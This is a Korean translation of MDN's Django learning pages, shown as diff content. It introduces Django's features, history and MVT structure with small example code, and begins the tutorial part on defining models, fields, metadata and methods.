Django란 무엇인지, 어떤 기능이 있는지, Django 어플리케이션의 주요 구성요소는 어떤것들인지에 대해 익숙해지기

+
+ +

Django란?

+ +

Djano란 보안이 우수하고 유지보수가 편리한 웹사이트를 신속하게 개발하는 하도록 도움을 주는 파이썬 웹 프레임워크입니다. 훌륭한 개발자에 의해 만들어진 이 프레임워크는, 웹 개발을 하는데 많은 도움을 주기 때문에 새롭게 웹 개발을 시작할 필요없이 그저 프레임워크를 활용하여 앱 개발에만 집중할 수 있게되죠. 무료 오픈소스인데다가, 활발한 커뮤니티들이 있고, 좋은 참고자료와 무료 및 유료 지원을 하는 옵션들이 제공됩니다.

+ +

Django는 다음과 같은 소프트웨어를 개발하는데 도움을 줍니다.

+ +
+
Complete(완결성 있는)
+
Django는 "Batteries included" 의 철학을 기반으로 개발자들이 개발하고 싶은 거의 모든것을 개발하는데 도움을 줍니다. 개발자들이 원하는 것은 모두 하나의 "결과물"의 일부일 것이기 때문에 도달하고자 하는 목표지점은 같으며 이 덕분에 일관된 디자인 룰을 적용하여  광범위한 최신 문서를 제공합니다.
+
Versatile(다용도의)
+
Django는 문서관리시스템과 Wiki부터 SNS, 뉴스에 이르기까지 다양한 종류의 웹 사이트를 빌드하는데 사용할 수 있고 사용되어 왔습니다. 또한 어떠한 클라이언트측 프레임워크와도 협업할 수 있고, 대부분의 형식(HTML, RSS 피드, JSON, XML 등)으로 컨텐츠를 전송할 수 있습니다. 당신이 보고 있는 이 사이트도 Django 기반입니다!
+
+ 내부적으로 Django는 당신이 원하는 대부분의 기능들(몇몇 유명한 데이터베이스들, 템플릿 엔진 등)을 제공하지만, 필요하다면 다른 컴포넌트들을 사용하기 위해 확장될 수 있습니다. 
+
Secure(안전한)
+
Django 는 개발자들이 웹사이트를 개발할 때 실수하기 쉽지만 고려해야하는 보안 문제에 대해서 많은 도움을 줍니다. 예를 들면, 장고는 유저의 계정과 비밀번호를 관리하는 안전한 방법을 제공합니다. 이 예에서 발생할 수 있는 개발자들의 실수로 세션의 정보를 보안에 취약한 위치에 있는 쿠키(해결책은 쿠키는 그저 key값을 가지도록 하는 반면 실제 데이터는 데이터 베이스에 저장하도록 하는 것입니다)에 넣는 실수를 하는 것입니다. 또 달리 쉽게할 수 있는 실수는 비밀번호를 hash를 통하지 않고 그대로 변형없이 저장하는 것이 있습니다.
+
+ 비밀번호에 사용되는 hash 는 cryptographic hash function에 의해 생성된 고정된 길이의 값을 가집니다. Django는 이렇게 변형되어 입력된 비밀번호가 유효한지 hash 함수를 통해 확인할 수 있습니다. 하지만 "단방향" 적인 함수의 특성상, 저장된 hash 값을 웹을 공격하는 사람들이 알아낸다고 하더라도 원본 비밀번호는 알아낼 수 없습니다.
+
+ Django 는 SQL 인젝션, 크로스사이트 스크립팅, 크로스사이트 요청 위조 그리고 클릭 하이젝킹 (이러한 공격 방법에 대한 상세 정보는 Website security에서 볼 수 있습니다)과 같은 보안 취약점을 보완할 방법 기본적으로 제공합니다.
+
Scalable(확장성 있는)
+
Django는 컴포넌트 기반의 “shared-nothing” 아키텍쳐(각각의 아키텍쳐가 독립적이어서 필요하다면 교체 및 변경할 수 있는)를 사용합니다. 각 부분이 분명하게 분리되면 어떤 레벨에서든(예를 들면 캐싱 서버, 데이터베이스 서버, 혹은 어플리케이션 서버) 하드웨어를 추가해서 발생하는 늘어난 트래픽에 대응해 크기를 변경할 수 있게 됩니다. 사용자가 가장 많은 몇몇 사이트는 요구사항에 맞춰서 Django의 크기를 성공적으로 변경했습니다. (예를들면 Instagram, Disqus 등)
+
Maintainable(유지보수가 쉬운)
+
Django 코드는 유지보수가 쉽고 재사용하기 좋게끔 하는 디자인 원칙들과 패턴들을 이용하여 작성됩니다. 특히 Don't Repeat Yourself (DRY) 원칙을 적용해서 불필요한 중복이 없고 많은 양의 코드를 줄였습니다. 또한 Django는 관련된 기능들을 재사용 가능한 "applications"로 그룹화했고, 더 낮은 레벨에서 관련된 코드들을 모듈로 만들었습니다. (Model View Controller (MVC) 패턴과 유사합니다).
+
Portable(포터블한)
+
장고는 파이썬으로 작성되어 있으며, 파이썬은 많은 플랫폼에서 작동합니다. 그것은 특정한 서버 플랫폼에 얽매이지 않는다는 것을 의미하며, 리눅스, 윈도우 그리고 맥 OS X 등등 다양한 운영체제에서 작동할 수 있다는 뜻입니다. 나아가, 장고는 많은 웹 호스팅 공급자들에 의해서 지원되고 있습니다. 그들은 장고 사이트의 호스팅과 관련해서 특정한 인프라와 문서를 제공합니다. 
+
+ +

탄생 배경은 어떻게 되나요?

+ +

장고는 신문 웹사이트를 제작 및 관리하던 어떤 웹 팀에 의해 2003년에서 2005년 사이에 처음으로 개발이 시작되었습니다. 여러 사이트들을 만들면서 웹 팀은 많은 공통 코드와 설계 패턴을 뽑아내어 재사용하였습니다. 이 공통 코드는 일반 웹 개발 프레임워크로 발전했습니다. 그리고 2005년 7월 "장고" 프로젝트로서 오픈소스화 되었죠.. 

+ +

장고는 2008년 9월 첫 번째 주요 릴리즈(1.0)에서부터 2017년의 최근 버전(2.0)까지 성장하고 발전했습니다. 장고는 각각의 버전에서 기능을 추가하고 버그를 수정했습니다. 새로운 유형의 데이터베이스, 탬플릿 엔진들 그리고 캐싱에 대한 지원에서부터 일반 보기 함수와 클래스들의 추가까지요(이를 통해 여러 프로그래밍 작업을 위해 개발자들이 작성해야 할 코드를 줄여줍니다). 

+ +
+

Note: 장고를 더 좋게 만들기 위해 어떤 작업이 이루어지고 있는지, 최근 버전에서 어떤 변경이 있었는지 확인하려면 장고 웹사이트의 release notes 를 살펴보세요.

+
+ +

장고는 수많은 사용자와 기여자가 있는 협력적이고 번성하는 프로젝트입니다. 여전히 몇 가지 장고만의 특징이 있지만, 장고는 모든 유형의 웹사이트를 개발할 수 있는 다용도적인 웹 프레임워크로 발전했습니다.

+ +

Django의 인기는 어떤가요?

+ +

사실 서버 측 프레임워크의 인기에 대해 쉽고 확정적인 측정값은 없습니다(다만 Hot Frameworks 와 같은 사이트는 각 플랫폼에 대해 GitHub 프로젝트와 StackOverflow 질문의 숫자를 세는 방법으로 인기에 대해 접근하려고 합니다). 장고가 인기없는 플랫폼의 문제를 피할 수 있을 만큼 "충분히 인기있는지"가 더 좋은 질문입니다. 장고가 계속 발전하나요? 도움이 필요할 때 받을 수 있나요? 장고를 배우면 돈을 받고 일할 기회가 생기나요?

+ +

장고를 사용하는 상위 사이트의 숫자, 장고 코드베이스에 기여하는 사람들의 숫자, 그리고 급여가 지불되거나 지불되지 않거나에 상관없이 지원을 제공하는 사람들의 숫자에 근거해서, 맞습니다. 장고는 인기있는 프레임워크 입니다!

+ +

장고를 사용하는 상위 사이트는 다음을 포함합니다 : Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, and Open Stack (출처: Django home page).

+ +

Django는 독선적인가요?

+ +

많은 웹 프레임웍들이 흔히 스스로를 "독선적(opinionated)"이라거나 "관용적(unopinionated)"이라고 표현합니다.

+ +

독선적인 프레임웍들은 어떤 특정 작업을 다루는 "올바른 방법"에 대한 분명한 의견을 가지고 있습니다. 그것들은 대체로 특정 도메인(특정 타입의 문제를 해결하는)내에서 빠른 개발방법을 제시합니다. 어떤 작업에 대한 올바른 방법이란 보통 잘 알려져있고 문서화가 잘되어있기 때문입니다. 하지만 그것들은 주요 도메인을 벗어난 문제에 대해서는 그리 유연하지 못한 해결책을 제시할 수 있습니다. 또한 이용할수 있는 접근법이나 선택가능한 구성요소가 그리 많지 않을것입니다. 

+ +

반면에, 관용적인 프레임웍들은, 구성요소를 한데 붙여서 해결해야 한다거나 심지어 어떤 컴퍼넌트를 써야한다는 '올바른 방법'에 대한 제약이 거의 없다시피 합니다. 그것들은 개발자들이 특정 작업을 완수하는데에 가장 적절한 도구들을 이용하기 쉽게 만들어줍니다. 비록 당신 스스로가 그 컴퍼넌트들을 찾아야 한다는 수고는 해야하긴 하지만 말이죠.

+ +

Django는 "다소 독선적" 입니다. 그럼으로써 "양쪽 세계의 최선"의 결과를 전달합니다. Django는 대부분의 웹 개발 작업을 다루는 컴퍼넌트 세트와 그 세트를 이용하는 한, 두가지의 인기있는 방법을 제공합니다. 하지만 Django의 비결합 구조 (decoupled  architecture) 덕분에 당신은  꽤 많은 옵션들중에서 다른 방법을 선택하거나 원한다면 완전히 새로운 방법을 만들어 낼 수도 있습니다.

+ +

Django 코드는 어떻게 생겼나요?

+ +

전형적인 데이터 기반 웹 사이트에서 웹 어플리케이션은 웹 브라우저(또는 다른 클라이언트)로부터 HTTP 요청(Request)을 기다립니다. 요청을 받으면, 웹 어플리케이션은 URL과 POST 데이터 또는 GET 데이터의 정보에 기반하여 요구사항을 알아냅니다. 그 다음 무엇이 필요한 지에 따라, 데이터베이스로부터 정보를 읽거나 쓰고, 또는 필요한 다른 작업들을 수행할 것입니다. 그 다음 웹 어플리케이션은 웹 브라우저에 응답(Response)을 반환하는데, 주로 동적인 HTML 페이지를 생성하면서 응답합니다.

+ +

Django 웹 어플리케이션은 전형적으로 아래와 같이 분류된 파일들에 대해 일련의 단계를 수행하는 코드로 구성되어 있습니다:

+ +

+ + + +
+

Note: 장고는 이 구조를 "모델 뷰 템플릿(Model View Template)(MVT)" 아키텍처라고 부릅니다. 이것은 더 익숙한 Model View Controller 아키텍처와 많은 유사점을 가지고 있습니다.

+
+ + + +

아래 부문들은 장고 앱의 주요 부분들이 어떻게 보일지에 대한 단서를 보여줄 것입니다          (우리는 개발 환경을 설치한 이후에 세부적인 디테일에 대해 다룰겁니다).

+ +

요청을 알맞은 뷰로 전달 (urls.py)

+ +

URL mapper는 보통 urls.py라는 이름의 파일에 저장되어 있습니다. 아래 예시에서 urlpatterns 맵퍼는 경로들(특정 URL 패턴들)과 해당하는 뷰 함수에 대한 맵핑 목록들을 정의합니다. 만약 지정된 URL 패턴과 일치하는 HTTP 요청이 수신된다면 관련된 view 함수가 요청을 전달합니다.

+ +
urlpatterns = [
+    path('admin/', admin.site.urls),
+    path('book/<int:id>/', views.book_detail, name='book_detail'),
+    path('catalog/', include('catalog.urls')),
+    re_path(r'^([0-9]+)/$', views.best),
+]
+ +

urlpatterns 객체는 path()함수와 re_path() 함수를 항목으로 가지는 리스트입니다 (파이썬 리스트는 대괄호를 사용하여 구분되며, 항목은 쉼표로 분리되고 선택적으로 후행 쉼표가 있을 수 있습니다. 예시: [item1, item2, item3, ]).

+ +

두 메소드의 첫 번째 인수는 일치시킬 경로(패턴)입니다. path() 메소드는 꺾쇠 괄호(<, >)를 사용해서 인수를 정의합니다. 이 인수는 URL의 한 부분으로, 명명된 인수로 수집되어 뷰 함수로 보내집니다. re_path() 함수는 정규식이라는 유연한 패턴 매칭 접근을 사용합니다. 이것에 대해서는 나중에 다루도록 하겠습니다!

+ +

두 번째 인수는 패턴이 일치할 때 호출되는 다른 함수입니다. views.book_detail은 이 함수가 book_detail()이며  views 모듈 안에서 찾을 수 있다는 것을 나타냅니다 (즉, views.py라는 파일 안에서요).

+ +

요청 처리하기 (views.py)

+ +

뷰들은 웹 클라이언트로부터 HTTP 요청을 수신하고 HTTP 응답을 되돌려주는 웹 어플리케이션의 심장입니다. 그 사이에 그들은 데이터베이스에 접근하고 템플릿을 렌더링하기 위해 프레임워크읟 다른 자원들을 정리합니다.

+ +

아래 예시는 이전 예시의 URL mapper가 불러올 수 있는 최소 뷰 함수 index()를 보여줍니다. 다른 모든 뷰 함수처럼 이 함수도 HttpRequest 객체를 인자(request)로 받고 HttpResponse 객체를 반환합니다. 이 예시에서는 요청에 관해서는 아무것도 하지 않고, 단순히 하드코딩된 문자열을 반환합니다. 요청에 관련해서는 이후 글에서 더 자세하게 다루겠습니다.

+ +
## filename: views.py (Django view functions)
+
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest - the request parameter
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Hello from Django!')
+
+ +
+

Note: 파이썬에 관하여:

+ + +
+ + + +

뷰들은 보통 views.py.라는 파일 안에 저장되어 있습니다.

+ +

데이터 모델 정의하기 (models.py)

+ +

장고 웹 어플리케이션은 모델(models)이라는 파이썬 객체를 통해 데이터를 관리하고 쿼리합니다. 모델은 필드 타입과 그들의 최대 크기, 기본 값들, 선택 목록 옵션, 문서의 도움말 텍스트, 폼(form)을 위한 labe text등을 포함하여 저장된 데이터의 구조를 정의합니다. 모델의 정의는 기본 데이터베이스와 별개입니다. 본인의 프로젝트 설정의 일부로써 여러 모델 중 하나를 선택할 수 있습니다. 본인이 사용할 데이터베이스를 정했다면, 그것에 직접적으로 접근할 필요가 없습니다. 그저 모델 구조와 다른 코드들을 작성하면, 장고가 당신과 데이터베이스가 소통하는 데 필요한 모든 더러운 작업들을 처리합니다.

+ +

아래 코드는 Team 객체를 위한 아주 간단한 장고 모델을 보여줍니다. Team 객체는 장고 클래스models.Model에서 파생되었습니다. 이 객체는 팀 이름과 팀 레벨을 캐릭터 필드로 정의하고 각각의 기록에 저장될 최대 캐릭터 숫자를 정합니다. team_level은 랜덤으로 값이 선정되기 때문에, 우리는 이를 choice 필드로 정의하며, choices들 간에 선택된 값이 보여지고 디폴트 값에 따른 데이터가 저장되도록 합니다. 

+ +
# filename: models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11', 'Under 11s'),
+        ...  #list other team levels
+    )
+    team_level = models.CharField(max_length=3, choices=TEAM_LEVELS, default='U11')
+
+ +
+

참고 : 파이썬에 대해

+ +

파이썬은 코드를 객체로 구성하는 프로그래밍 스타일인 "객체 지향 프로그래밍"을 지원합니다. 여기에는 관련 데이터 및 해당 데이터를 조작하기위한 함수가 포함됩니다. 객체는 다른 객체로부터 상속, 확장, 파생할 수 있어 관련 객체 간의 공통 동작을 공유 할 수 있습니다. 파이썬에서는 키워드 클래스를 사용하여 객체의 "청사진"을 정의합니다. 클래스의 모델을 기반으로 객체 유형의 여러 특정 인스턴스를 만들 수 있습니다.

+ +

예를 들어 여기 Model 클래스에서 파생된 Team 클래스가 있습니다. 이는 모델이며 모델의 모든 방법을 포함할 것이지만 고유한 기능도 제공 할 수 있습니다. 이 모델에서는 데이터베이스가 데이터를 저장하는데 필요한 필드를 정의하여 특정 이름을 지정합니다. 장고는 필드 이름을 포함한 이러한 정의를 사용하여 기본 데이터베이스를 만듭니다.

+
+ +

데이터 쿼리하기 (views.py)

+ +

장고 모델은 데이터베이스를 간단히 탐색하기 위한 쿼리 API를 제공합니다. 이 API는 다양한 조건을 통해 수 많은 필드를 빠르게 매칭시킵니다. (예를 들어, 정확하게 일치(exact), 대소문자 구분없이(case-insensitive), 해당 숫자보다 큰(greater than) 등이 있습니다.) 그리고 복잡한 쿼리문을 지원합니다. 예를 들어, 당신은 팀의 이름이 "Fr"로 시작하거나 "al"로 끝나는 U11 레벨의 팀만을 지정할 수 있습니다.

+ +

굵게 표시된 줄은 모델 쿼리 API를 사용하여 team_level 필드의 텍트스가 정확히 'U09'인 모든 레코드를 필터링하는 방법을 보여줍니다 (이 기준이 필드 이름의 인수로 filter() 함수에 전달되는 방법에 유의하십시오. 일치 유형은 team_level__exact와 같이 이중 밑줄로 구분됩니다).

+ +
## filename: views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def index(request):
+    list_teams = Team.objects.filter(team_level__exact="U09")
+    context = {'youngest_teams': list_teams}
+    return render(request, '/best/index.html', context)
+
+ +
+
+ +

이 함수는 render() 함수를 사용하여 브라우저로 다시 전송되는 HttpResponse를 만듭니다. 지정된 HTML 템플릿과 템플릿에 삽입할 일부 데이터( "컨텍스트"라는 변수에 제공)를 결합하여 HTML 파일을 생성합니다. 다음 섹션에서는 템플릿을 생성하기 위해 템플릿에 데이터를 삽입하는 방법을 보여줍니다.

+ +

데이터 렌더링 (HTML 템플릿)

+ +

템플릿 시스템을 사용하면 페이지가 생성될 때 채워질 데이터에 자리 표시자를 사용하여 출력 문서의 구조를 지정할 수 있습니다. 템플릿은 종종 HTML을 만드는 데 사용되지만 다른 유형의 문서를 만들 수도 있습니다. 장고는 기본 템플릿 시스템과 Jinja2라는 인기있는 파이썬 라이브러리를 모두 지원합니다 (필요한 경우 다른 시스템을 지원하도록 만들 수도 있음).

+ +

아래 코드는 이전 섹션의 render() 함수가 호출한 HTML 템플릿의 모양을 보여줍니다. 이 템플릿은 렌더링될 때 (위의 render() 함수 내의 컨텍스트 변수에 포함 된) "youngest_teams"라는 목록 변수에 액세스할 수 있다는 가정하에 작성되었습니다. HTML 스켈레톤에는 먼저 youngest_teams 변수가 있는지 확인한 후 for 루프에서 반복하는 표현식이 있습니다. 각 반복에서 템플리트는 각 팀의 team_name 값을 <li> 태그의 값으로 표시합니다.

+ +
## filename: best/templates/best/index.html
+
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8">
+  <title>Home page</title>
+</head>
+<body>
+  {% if youngest_teams %}
+    <ul>
+      {% for team in youngest_teams %}
+        <li>\{\{ team.team_name \}\}</li>
+      {% endfor %}
+    </ul>
+  {% else %}
+    <p>No teams are available.</p>
+  {% endif %}
+</body>
+</html>
+ +

또 무엇을 할수 있나요?

+ +

이전 섹션에서는 거의 모든 웹 응용 프로그램에서 사용할 주요 기능인 URL 매핑, 뷰, 모델 및 템플릿을 보여줍니다. 추가로 장고가 제공하는 기능들은 다음과 같습니다.

+ + + +

요약하기

+ +

축하합니다. 이제 장고 여행의 첫발을 떼셨군요! 이제 우리는 장고의 주요 이점과 역사를 조금 알게됐고 장고 응용프로그램의 주요한 부분을 대략 이해했습니다. 또한 목록, 함수 및 클래스 구문을 포함하여 파이썬 프로그래밍 언어에 대해 몇 가지 사실을 배워야합니다.

+ +

위의 실제 장고 코드를 이미 보았지만 클라이언트 측 코드와 달리 실행하기 위해서는 개발 환경을 설정해야합니다. 그것이 우리의 다음 단계입니다.

+ +
{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}
diff --git a/files/ko/learn/server-side/django/models/index.html b/files/ko/learn/server-side/django/models/index.html new file mode 100644 index 0000000000..03204b9df7 --- /dev/null +++ b/files/ko/learn/server-side/django/models/index.html @@ -0,0 +1,454 @@ +--- +title: 'Django Tutorial Part 3: Using models' +slug: Learn/Server-side/Django/Models +translation_of: Learn/Server-side/Django/Models +--- +
803{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}
+ +

이 문서에서는 LocalLibrary 웹사이트의 모델을 어떻게 정의할지 보여줄 것입니다. 모델이라는 것이 무엇인지, 어떻게 선언하는지, 그리고 주된 필드 타입들에 대해서 설명합니다. 그리고 모델의 데이터에 접근할 수 있는 몇몇 방법에 대해서 간단히 보여줄 것입니다.

+ + + + + + + + + + + + +
사전 준비:Django Tutorial Part 2: Creating a skeleton website.
목표:적절한 필드를 사용하여 모델을 설계 및 생성할 줄 알기.
+ +

개요

+ +

장고 웹 어플리케이션들은 모델이라는 파이썬 객체를 통해 데이터에 접속하고 관리합니다. 모델은 저장된 데이터의 구조를 정의합니다. 그것엔 필드 타입, 그리고 데이터의 최대 크기, 기본값, 선택 리스트 옵션, 문서를 위한 도움 텍스트, 폼을 위한 라벨 텍스트 등등이 있습니다. 모델의 정의는 기초 데이터베이스에 대해 독립적입니다 — 프로젝트 설정의 일부로 여러 옵션 중 하나를 선택할 수 있습니다. 사용할 데이터베이스를 정했다면 데이터베이스에 직접적으로 말할 필요가 없습니다 — 그저 모델 구조와 기타 코드를 작성하면, 장고가 데이터베이스와 소통하는 모든 더러운 작업을 대신해줍니다.

+ +

이 튜토리얼은 LocalLibrary website 예제에서 어떻게 모델을 정의하고 그것에 접근하는지에 대해 보여줍니다.

+ +

LocalLibrary models 디자인하기

+ +

모델을 코딩하기 전에, 우리가 어떤 데이터를 저장할 것인지, 그리고 다른 객체(object)들에 대한 관계를 어떻게 지정할 것인지 생각해 봅시다.

+ +

우리는 책에 관한 정보들을 저장할 필요가 있고 (제목, 요약, 저자, 작성된 언어, 분류, ISBN) 여러 개의 사본을 사용할 수 있어야 합니다(전 세계적으로 고유한 ID, 가용성 상태 등). 저자에 대해서 그들의 이름 뿐만 아니라 더 많은 정보를 저장해야 할 수도 있습니다. 여러 명의 같거나 비슷한 이름의 저자가 있을 수도 있기 때문이죠. 우리는 정보를 책 제목, 저자, 언어, 그리고 분류에 따라 정렬할 수 있기를 원합니다.

+ +

모델을 디자인할 때는 각각의 "객체(object: 관련된 정보의 모임)" 마다 분리된 모델을 가지는 것이 타당합니다. 이 예시에서 명백히 확인할 수 있는 객체(object)들은 책, 책 인스턴스, 저자입니다.

+ +

선택을 웹사이트 자체에 하드코딩하는 것 보다는 모델을 사용해서 선택-리스트 옵션을 나타내도록(예시: 드롭 다운 목록)할 수 있습니다 — 이것은 모든 옵션들을 미리 알 수 없거나 옵션들이 변할 수 있을 때에 추천됩니다. 이 경우에 명백한 모델의 후보자로 책의 장르(예시: 공상 과학, 프랑스 시, 등등)와 언어(영어, 프랑스어, 한국어)가 있습니다.

+ +

우리가 우리의 모델과 필드를 결정하고 나면, 우리는 그 관계에 대해서 생각해야 합니다. 장고는 당신이 그 관계를 다음과 같이 세 가지로 설정할 수 있게 하는데, 일대일(OneToOneField), 일대다(ForeignKey), 다대다(ManyToManyField) 관계가 그것입니다.

+ +

그것들을 염두에 두고 아래의 UML 관계 다이어그램을 살펴봅시다. 이 다이어그램은 우리가 이 예시에서 정의할 모델들을 상자로 보여줍니다. 위에서 살펴본 바와 같이, 우리는 책(Book, 책의 일반적인 세부 사항들), 책 인스턴스(BookInstance, 시스템에서 사용 가능한 책의 특정한 물리적 복사본의 상태), 그리고 저자(Author)를 모델로 생성했습니다. 우리는 또한 장르(Genre)에 대한 모델을 만들어서 값들이 관리자 인터페이스에서 생성/선택이 가능하도록 만들었습니다. 우리는 BookInstance:status에 대한 모델을 생성하지 않았습니다 — 값들을(LOAN_STATUS) 하드코딩 했죠. 왜냐하면 그것은 변하지 않는 값들이기 때문입니다. 각각의 상자 안에서 모델 이름, 필드 이름과 타입, 그리고 또한 함수(method)와 그들의 반환 타입(return type)을 확인할 수 있습니다.

+ +

이 다이어그램은 또한 다중도(multiplicities)을 포함한 모델 간의 관계를 보여줍니다. 다중도(multiplicities)는 관계 안에 존재하는 각각의 모델의 숫자(최대 그리고 최소)를 보여주는 다이어그램 위의 숫자입니다. 예를 들어, 상자 사이를 연결하는 선은 책과 장르가 연관되어 있다는 것을 보여줍니다. 장르(Genre) 모델에 가까이 있는 숫자들은 책이 하나 또는 그 이상의 장르(원하는 만큼 많이)를 가지고 있어야 함을 보여주는 반면, 선의 반대편 끝에 있는 책(Book) 모델 옆의 숫자들은 장르 모델이 0 또는 여러 개의 관련된 책 모델을 가질 수 있음을 보여줍니다 .

+ +

LocalLibrary Model UML

+ +
+

주의: 다음 섹션은 모델이 어떻게 정의되고 사용되는지에 대한 초보적인 설명입니다. 읽으면서 위 다이어그램의 각각의 모델들을 어떻게 구성할 지 생각해 보십시오.

+
+ +

모델 입문서

+ +

이 부분에서는 어떻게 모델을 정의하는지, 그리고 더 중요할 지도 모르는 필드와 필드의 인자에 대해서 간단한 개요를 제공합니다.

+ +

모델의 정의

+ +

모델들은 보통 어플리케이션의 models.py 파일에서 정의됩니다. 이들은 django.db.models.Model의 서브 클래스로 구현되며 필드, 메소드 그리고 메타데이터를 포함할 수 있습니다. 아래의 코드 조각은 MyModelName라고 이름지어진 "전형적인" 모델을 보여줍니다:

+ +
from django.db import models
+
+class MyModelName(models.Model):
+    """A typical class defining a model, derived from the Model class."""
+
+    # Fields
+    my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')
+    ...
+
+    # Metadata
+    class Meta:
+        ordering = ['-my_field_name']
+
+    # Methods
+    def get_absolute_url(self):
+        """Returns the url to access a particular instance of MyModelName."""
+        return reverse('model-detail-view', args=[str(self.id)])
+
+    def __str__(self):
+        """String for representing the MyModelName object (in Admin site etc.)."""
+        return self.field_name
+ +

아래 섹션에서 모델 안에 있는 각각의 요소들을 세부적으로 다뤄봅시다:

+ +

필드(Fields)

+ +

모델은 모든 타입의, 임의의 숫자의 필드를 가질 수 있습니다 — 각각의 필드는 우리의 데이터베이스 목록(table)에 저장하길 원하는 데이터 열(column)을 나타냅니다. 각각의 데이터베이스 레코드(행, row)는 각 필드 값들 중 하나로 구성되어 있습니다. 위의 예제를 살펴봅시다:

+ +
my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')
+ +

위 예제는 my_field_name이라는 하나의 필드를 가지고 있고, models.CharField 타입입니다 — 즉, 이 필드가 영숫자(alphanumeric) 문자열을 포함한다는 뜻이죠. 필드 타입들은 특정한 클래스들을 사용하여 등록되며, HTML 양식(form)에서 값을 수신할 때 사용할 유효성 검증 기준과 함께 데이터베이스에 데이터를 저장하는데 사용되는 레코드의 타입을 결정합니다. 또한 필드 타입은 필드가 어떻게 저장되고 사용될지 지정하는 인수를 사용할 수 있습니다. 이 예제에서는 필드에 두 가지 인수를 줍니다:

+ + + +

필드 이름은 쿼리 및 탬플릿에서 이를 참조하는데 쓰입니다. 필드는 또한 인수로 지정된 라벨(verbose_name)을 가지고 있거나, 또는 필드 변수 이름의 첫자를 대문자로 바꾸고 밑줄을 공백으로 바꿔서 기본 라벨을 추정할 수 있습니다(예를 들어 my_field_name 은 My field name을 기본 라벨로 가지고 있습니다) .

+ +

필드가 선언된 순서는 모델이 폼에서 렌더링 된다면(예시 : 관리자 사이트) 기본 순서에 영향을 미치지만, 이것은 재정렬될 수 있습니다.

+ +
일반적(common) 필드 인수
+ +

아래의 일반적인 인수들은 많은/거의 대부분의 서로 다른 필드 타입들을 선언할 때 사용할 수 있습니다:

+ + + +

다른 많은 옵션들이 있습니다 — 여기(full list of field options here)에서 모든 필드 옵션 목록을 볼 수 있습니다.

+ +
일반적인(common) 필드 타입
+ +

아래의 목록은 일반적으로 사용되는 필드 타입들을 보여줍니다. 

+ + + +

다른 많은 타입의 필드들이 많이 있습니다. 서로 다른 타입의 숫자를 위한 필드 (큰 정수, 작은 정수, 부동소수(float)), 불리언(booleans), URL, slug, unique id, 그리고 다른 "시간-관련된" 정보들(duration, time, 등등)들을 포함해서요. 모든 목록을 여기(full list here)에서 확인할 수 있습니다.

+ +

메타데이터

+ +

아래와 같이  class Meta를 선언하여 모델에 대한 모델-레벨의 메타데이타를 선언할 수 있습니다.

+ +
class Meta:
+    ordering = ['-my_field_name']
+
+ +

이 메타데이터의 가장 유용한 기능들 중 하나는 모델 타입을 쿼리(query)할 때 반환되는 기본 레코드 순서를 제어하는 것입니다. 이렇게 하려면 위와 같이 필드 이름 목록의 일치 순서를  ordering 속성에 지정해야 합니다. 순서는 필드의 타입에 따라 달라질 것입니다(문자 필드는 알파벳 순서에 따라 정렬될 것이고, 반면 날짜 필드는 날짜순으로 정렬될 것입니다). 위와 같이, 반대로 정렬하고 싶다면 마이너스 기호(-)를 필드 이름 앞에 접두사로 붙이면 됩니다.

+ +

예를 들어, 우리가 기본적으로 아래와 같이 책들을 정렬하려고 한다면:

+ +
ordering = ['title', '-pubdate']
+ +

책들은 A-Z까지 알파벳 순으로 정렬되고, 그 후에는 제목(title) 안에 있는 발행일 별로 가장 최근 것부터 가장 오래된 것 순으로 정렬될 것입니다.

+ +

다른 일반적인(common) 속성은 verbose_name이며, 단일 및 복수 형식(form)의 클래스를 위한 자세한(verbose) 이름입니다:

+ +
verbose_name = 'BetterName'
+ +

다른 유용한 속성들은 모델을 위한 새로운 "접근 권한"을 생성 및 적용 가능하게 하며(기본 권한은 자동적으로 적용됨), 다른 필드에 기반한 순서 정렬을 허용하거나, 또는 클래스가 "추상(abstract: 레코드를 생성할 수 없고, 대신 다른 모델들을 만들기 위해 파생되는 기본 클래스)"임을 선언할 수 있습니다.

+ +

여러가지 메타데이터 옵션들은 모델에 무슨 데이터베이스를 사용해야만 하는가 그리고 데이터가 어떻게 저장되는가를 제어한다 (이것들은 모델을 기존 데이터베이스에 매핑할 때만 유용하다).

+ +

메타데이터 옵션의 모든 목록은 여기에서 볼 수 있습니다: Model metadata options (장고 문서).

+ +

메소드(Methods)

+ +

모델은 또한 메소드를 가질 수 있습니다.

+ +

최소한, 모든 모델마다 표준 파이썬 클래스의 메소드인 __str__() 을 정의하여 각각의 object가 사람이 읽을 수 있는 문자열을 반환(return)하도록 합니다. 이 문자열은 관리자 사이트에 있는 개별적인 레코드들을 보여주는 데 사용됩니다(그리고 모델 인스턴스를 참조해야 하는 다른 모든 곳에도요). 종종 이것은 모델에서 제목(title)이나 이름 필드(name field)를 반환할 것입니다 .

+ +
def __str__(self):
+    return self.field_name
+ +

장고 모델에 포함할 다른 일반적인 메소드는 get_absolute_url()입니다. 웹사이트의 개별적인 모델 레코드들을 보여주기 위한 URL을 반환하는 메소드입니다(만약 이 메소드를 정의했다면 장고는 관리자 사이트 안의 모델 레코드 수정 화면에 "View on Site" 버튼을 자동적으로 추가할 것입니다). 아래에서 get_absolute_url()의 표준적인 사용을 볼 수 있습니다.

+ +
def get_absolute_url(self):
+    """Returns the url to access a particular instance of the model."""
+    return reverse('model-detail-view', args=[str(self.id)])
+
+ +
+

